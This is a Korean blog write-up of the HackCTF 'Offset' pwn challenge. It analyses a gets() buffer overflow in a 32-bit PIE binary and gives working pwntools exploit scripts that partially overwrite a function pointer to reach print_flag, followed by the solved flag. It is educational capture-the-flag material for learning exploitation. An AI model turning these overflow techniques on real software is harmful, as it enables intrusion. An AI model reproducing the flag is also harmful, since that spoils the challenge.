[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 있음

 

바이너리 실행

  • 사용자로부터 입력받음
  • 일정 길이 이상 입력할 경우 Segmentation fault 발생

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-27h]@1
  int *v5; // [esp+20h] [ebp-8h]@1

  v5 = &argc;
  setvbuf(stdout, (char *)2, 0, 0);
  puts("Which function would you like to call?");
  gets(&s);
  select_func(&s);
  return 0;
}
  • gets 함수로 사용자의 입력을 받고 있음. 입력 값에 대한 길이 검증을 수행하지 않음→ BOF 취약점 발생
  • 사용자의 입력을 select_func 함수의 인자로 주며 호출

 

IDA 분석 - select_func 함수

int __cdecl select_func(char *src)
{
  char dest; // [esp+Eh] [ebp-2Ah]@1
  int (*v3)(void); // [esp+2Ch] [ebp-Ch]@1

  v3 = (int (*)(void))two;
  strncpy(&dest, src, 31);
  if ( !strcmp(&dest, "one") )
    v3 = (int (*)(void))one;
  return v3();
}
  • 사용자의 입력 값은 src 변수로 활용
  • dest에 사용자의 입력을 31byte만큼 복사
  • dest 값이 one이면 one 함수 호출

  • return v3() 부분을 one 함수 대신 print_flag 함수 주소로 overwrite할 수 있을 것으로 보임

 

IDA 분석 - one 함수

int one()
{
  return puts("This is function one!");
}

IDA 분석 - two 함수

int two()
{
  return puts("This is function two!");
}

IDA 분석 - print_flag 함수

int print_flag()
{
  char i; // al@1
  FILE *fp; // [esp+Ch] [ebp-Ch]@1

  puts("This function is still under development.");
  fp = fopen("flag.txt", "r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}
  • flag 획득할 수 있음

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000049c  _init
0x000004d0  strcmp@plt
0x000004e0  gets@plt
0x000004f0  _IO_getc@plt
0x00000500  puts@plt
0x00000510  __libc_start_main@plt
0x00000520  setvbuf@plt
0x00000530  fopen@plt
0x00000540  putchar@plt
0x00000550  strncpy@plt
0x00000560  __cxa_finalize@plt
0x00000568  __gmon_start__@plt
0x00000570  _start
0x000005b0  __x86.get_pc_thunk.bx
0x000005c0  deregister_tm_clones
0x00000600  register_tm_clones
0x00000650  __do_global_dtors_aux
0x000006a0  frame_dummy
0x000006a9  __x86.get_pc_thunk.dx
0x000006ad  two
0x000006d8  print_flag
0x00000754  one
0x0000077f  select_func
0x000007dc  main
0x0000084f  __x86.get_pc_thunk.ax
0x00000860  __libc_csu_init
0x000008c0  __libc_csu_fini
0x000008c4  _fini
  • PIE로 offset만 확인 가능. 바이너리를 실행해야 주소가 할당됨.
  • main offset: 0x000007dc
  • select_func offset: 0x0000077f
  • one offset: 0x00000754
  • two offset: 0x000006ad
  • print_flag offset: 0x000006d8

gdb 분석 - select_func 함수

pwndbg> disass select_func
Dump of assembler code for function select_func:
   0x0000077f <+0>:	push   ebp
   0x00000780 <+1>:	mov    ebp,esp
   0x00000782 <+3>:	push   ebx
   0x00000783 <+4>:	sub    esp,0x34
   0x00000786 <+7>:	call   0x5b0 <__x86.get_pc_thunk.bx>
   0x0000078b <+12>:	add    ebx,0x182d
   0x00000791 <+18>:	lea    eax,[ebx-0x190b]
   0x00000797 <+24>:	mov    DWORD PTR [ebp-0xc],eax
   0x0000079a <+27>:	sub    esp,0x4
   0x0000079d <+30>:	push   0x1f
   0x0000079f <+32>:	push   DWORD PTR [ebp+0x8]
   0x000007a2 <+35>:	lea    eax,[ebp-0x2a]
   0x000007a5 <+38>:	push   eax
   0x000007a6 <+39>:	call   0x550 <strncpy@plt>
   0x000007ab <+44>:	add    esp,0x10
   0x000007ae <+47>:	sub    esp,0x8
   0x000007b1 <+50>:	lea    eax,[ebx-0x1675]
   0x000007b7 <+56>:	push   eax
   0x000007b8 <+57>:	lea    eax,[ebp-0x2a]
   0x000007bb <+60>:	push   eax
   0x000007bc <+61>:	call   0x4d0 <strcmp@plt>
   0x000007c1 <+66>:	add    esp,0x10
   0x000007c4 <+69>:	test   eax,eax
   0x000007c6 <+71>:	jne    0x7d1 <select_func+82>
   0x000007c8 <+73>:	lea    eax,[ebx-0x1864]
   0x000007ce <+79>:	mov    DWORD PTR [ebp-0xc],eax
   0x000007d1 <+82>:	mov    eax,DWORD PTR [ebp-0xc]
   0x000007d4 <+85>:	call   eax
   0x000007d6 <+87>:	nop
   0x000007d7 <+88>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x000007da <+91>:	leave  
   0x000007db <+92>:	ret    
End of assembler dump.
  • select_func+73~85 부분에서 one 함수를 호출함
  • ebp-0xc로 one 함수 주소를 저장하는 것으로 보아 입력 값과 둘간의 offset을 구하면 변조할 수 있을 것으로 보임
  • select_func+69에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0xffffcfde에 저장

  • one 함수 주소는 0xffffcffc에 저장

  • 사용자의 입력~0xffffcffc까지의 offset = 30(0x1e)

 

문제 해결

💡 dummy(30) + print_flag_Address or offset
  • PIE가 걸려있지만 base주소만 바뀌고 offset은 고정
  • 1바이트 bof가 발생하므로 주소 offset의 하위 1바이트를 변조할 수 있음

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3007)
e=ELF('./offset')

p.recvuntil("?")
payload = "A"*30 + p32(e.symbols['print_flag']) //print_flag 전체 주소를 넣어도 하위 1바이트만 변조되기 때문에 정상적으로 입력됨
#payload = "A"*30 + p32(0xd8)

p.sendline(payload)
p.interactive()

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3007)
e=ELF('./offset')

p.recvuntil("?")
payload = b"A"*30 + p32(e.symbols['print_flag'])
#payload = b"A"*30 + p32(0xd8)

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{76155655017129668567067265451379677609132507783606}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30
[HackCTF] Simple_Overflow_ver_2  (0) 2022.10.30
[HackCTF] BOF_PIE  (0) 2022.10.30
[HackCTF] Yes or no  (0) 2022.10.30
[HackCTF] RTL_World  (0) 2022.10.30

+ Recent posts